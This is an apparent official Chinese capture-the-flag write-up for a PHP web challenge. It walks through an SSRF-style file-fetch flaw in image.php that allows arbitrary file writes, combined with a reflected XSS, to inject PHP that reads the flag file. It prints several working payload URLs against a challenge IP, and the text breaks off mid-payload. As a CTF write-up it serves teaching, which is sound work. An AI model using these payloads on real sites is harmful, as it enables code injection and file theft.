wp-官方

大家可以看到漏洞在这里

```
http://54.223.231.220/image.php?
file=http://127.0.0.1:8888/test.png&path=logo.jpg
```

开始出题搞错了，导致了file可以使用各种协议file php 都可以，也可以绕过必须以 http://127.0.0.1:8888/ 开头的限制。
然后php.ini改错了文件，导致disable_function没有生效。
题目修复完成后，发现已经有30+个同学使用非预期解发完成题目（不过确实，如果没有这些限制分分钟答完

现在分析下正解

首先测试发现
http://127.0.0.1:8888/
其实就是本站，80只是nginx的一个反代。path可以随便改，写入任意文件包括php。
由于不能访问外网也不能使用其他协议，于是需要控制网站内容才能写入任意内容。
能控制一个网站前端任意显示的，一个xss就可以了，于是需要找一个xss。
可以发现

```
http://54.223.231.220/?date/2016-12%3Cimg/src=1%3E/
```

是一个xss。于是payload如下

```
http://54.223.231.220/image.php?file=http://127.0.0.1:8888/?date/2016-12<?
php phpinfo()?>/&path=aaaaa.php
```

这时候发现phpinfo不能执行，也无法shell，多次尝试只能使用file_get_contents读取文件内容，于是最终payload

```
http://54.223.231.220/image.php?file=http%3A%2f%2f127.0.0.1%3A8888%2f%3Fdate%
12%253C%253Fphp%2520print%2520base64_encode%2528file_get_contents%2528%2522fl
```